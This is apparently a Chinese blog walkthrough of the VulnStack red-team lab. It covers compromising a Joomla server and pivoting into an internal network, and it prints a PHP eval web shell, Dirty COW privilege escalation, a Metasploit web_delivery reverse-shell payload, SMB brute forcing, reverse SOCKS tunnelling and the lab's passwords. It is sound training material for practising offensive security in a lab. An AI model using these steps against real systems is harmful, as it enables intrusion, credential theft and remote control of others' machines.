开源靶场VulnStack是由国内红日安全团队打造一个靶场知识平台。靶场设计思路来源ATT&CK红队评估模式,从漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场 虚拟机所有统一密码:hongrisec@2019
链接:https://pan.baidu.com/s/1OyqTuQKwplpYOtVrngRazw?pwd=kh5a 提取码:kh5a
| 靶机ip | 类型 |
|---|---|
| (IP:172.16.5.125) | kali攻击机 |
| (网卡1:172.16.5.120 //网卡2:192.168.93.100) | Centos服务器 |
| (IP:192.168.93.120) | Ubuntu服务器 |
| (IP:192.168.93.10) | server2012服务器 |
| (IP:192.168.93.20) | server2008服务器 |
| (IP:192.168.93.30) | win7服务器 |

PS:Centos需要添加一张网卡,172.16.5 网段需要桥接 192.168.93的网段 NAT模式即可。
kali里使用netdiscover发现主机

使用命令:
nmap -sS -A -n -T4 172.16.5.120

发现开启了22,80,3306端口,访问80端口页面(页面有点似曾相识)

使用Wappalyzer 可以得知是一个Joomla 的CMS系统 也可以使用whatweb网站指纹工具进行探测。


使用 dirb 进行目录扫描 查看robots.txt 发现后台/administrator/ 可以看出目录泄露了。




访问1.php和configuration.php~ 这里获取到了账号和密码

这里要使用 JoomScan进行探测(之前文章讲过安装和下载这里直接使用了)获取到版本号3.9.12
Github项目:https://github.com/OWASP/joomscan
perl joomscan.pl --url 172.16.5.120

使用本地漏洞库搜索 searchsploit joomla 3.9.12 发现这个43488.txt 没有可以利用的


使用Navicat for MySQL 进行连接(第一次用!这样方便看 执行命令还是要连接数据库的)

使用官方文档恢复或重置管理员密码:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password?/zh-cn
添加一个账号admin2 密码secret的用户 然后尝试登入 发现登入成功!!!
mysql -h 172.16.5.120 -u testuser -p
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');


登陆后在extensions>Templates>Templates> 新建一个shell1.php




@eval($_POST['a']);?>
使用蚁剑连接 http://172.16.5.120/templates/beez3/shell1.php 连接成功!!

进入终端 发现没有回显 只有一个ret=127 可能是disable_functions 被禁用了
需要插件完成但是这里需要设置代理才能访问 直接下载好 拖进去也可以 antswork/antData/plugins目录下 重启蚁剑即可。
Github:https://github.com/Medicean/as_bypass_php_disable_functions


会生成一个.antproxy.php的文件,创建个副本 然后把文件添加上去就成功绕过了。

具体不会绕过的可以看这个视频:https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg
1、获取内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -m 内核架构
cat /etc/*-release 发布信息
cat /etc/issue 发布信息
cat /proc/version 内核信息
2.同户和组
cat /etc/passwd 系统所有用户
cat /etc/group 系统所有组
cat /etc/group 所有用户hash(需要root权限)
finger、finger user 当前登录的用户、查询用户的基本信息
3、用户和权限信息
cat /etc/sudoers 可以使用sudo提升到root的用户(需要root权限)
sudo -l 列出目前用户可执行与无法执行的指令
4、环境信息
env 或 set 打印系统环境信息
echo $PATH 环境变量中的路径信息
cat /etc/profile 显示默认系统遍历
cat /etc/shells 显示可用的shell
5、有用的命令
find / -perm -4000 -type f 查找SUID的文件
find / -uid 0 -perm -4000 -type f 查找root权限的SUID文件
find / -perm -2 -type f 找出可写的文件
find / ! -path "/proc/" -perm -2 -type f -print 查找/proc以外的可写文件
find / -perm -2 -type d 找出可写目录
6、服务信息
ps aux 查看进程信息
cat /etc/inetd.conf 由inetd管理的服务列表
cat /etc/xinetd.conf 由xinetd管理的服务列表
cat /etc/exports nfs服务器的配置
7、作业和任务
crontab -l -u %username% 显示指定用户的计划作业(需要root权限)
ls -la /etc/cron* 计划任务
top 列出当前进程
8、网络、路由和通信
/sbin/ifconfig -a 列出网络接口信息
cat /etc/network/interfaces 列出网络接口信息
arp -a 查看系统arp表
route 打印路由信息
netstat -an 打印本地端口开放信息
iptables -L 列出iptable的配置规则
cat /etc/services 查看端口服务映射
9、软件信息
dpkg -l 软件安装(Debian)
rpm -qa 软件安装(Red Hat)
sudo -V 查看sudo的版本信息
这里还有自动探测的内网信息收集需要使用:LinEnum(第一次用!!)需要过一会,会生成一个 以时间命名的文件夹 。
Github项目:https://github.com/rebootuser/LinEnum
chmod 777 LinEnum
./ LinEnum.sh

我们在/tmp/mysql目录里面发现了一个test.txt文件,在里面发现了一组用户名和密码(开启了22端口可能是账号密码)
账号密码:wwwuser//wwwuser_123Aqx 尝试登入,发现登入失败,那就换个工具使用putty发现登入成功!!



这边看了一下 有两个IP看来是目标网站是做了反向代理,将处于内网的Ubuntu代理到了CentOS上
GitHub:https://github.com/FireFart/dirtycow
通过 WinSCP 把dirty.c上传到/tmp 目录下(这里也可以使用别的方法进行上传)

gcc -pthread dirty.c -o dirty -lcrypt #//编译生成 dirty 可执行文件
rm -rf passwd.bak ## 删除之前的
./dirty test #设置的密码
su firefart #登入 提权成功!!!
执行 ./dirty test 提权生成passwd.bak文件 切换用户即可得到root权限。


为了内网渗透扫描到192.168.93.0/24 网段内主机的相关信息,我们要通过msf生成一个payload,在CentOS上运行此payload,建立 msf 和CentOS 的连接 也可以使用msfvenom生成木马,都可以哪个方便用哪个!
use exploit/multi/script/web_delivery #使用模块
show target #查看需要设置的系统
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 172.16.5.125 #设置本机IP
set lport 4444 #设置监听端口
exploit #运行
sessions -i1



use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit



use auxiliary/scanner/smb/smb_login
set SMBUSER administrator
set PASS_FILE /root/pass.txt
set rhosts 192.168.93.20
run
这里由于没有字典 看了一下密码是(自己的字典爆不出来):zxcASDqw123!!
路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。
我们使用earthworm搭建socks5反向代理服务。
先内网网段扫描一下 :run post/multi/gather/ping_sweep RHOSTS=192.168.93.0/24

添加路由:run post/multi/manage/autoroute CMD=autoadd

GitHbu地址:https://github.com/idlefire/ew
#客户端
./ew_for_linux64 -s rssocks -d 172.16.5.125 -e 8888
``#172.16.5.125 是攻击者kali的IP地址
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#将1080端口监听到的本地数据转发到 web服务器的8888端口
# 通过1080端口,将本地流量转发出去
#rcsocks、rssocks 用于反向连接
#ssocks 用于正向连接
# -l 指定本地监听的端口
# -e 指定要反弹到的机器端口
# -d 指定要反弹到机器的IP
# -f 指定要主动连接的机器 ip
# -g 指定要主动连接的机器端口
# -t 指定超时时长,默认为 1000


proxychains 配置代理:
vim /etc/proxychains.conf #代理配置文件
socks4 127.0.0.1 8888 #最后面添加
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.10
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.20
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.30
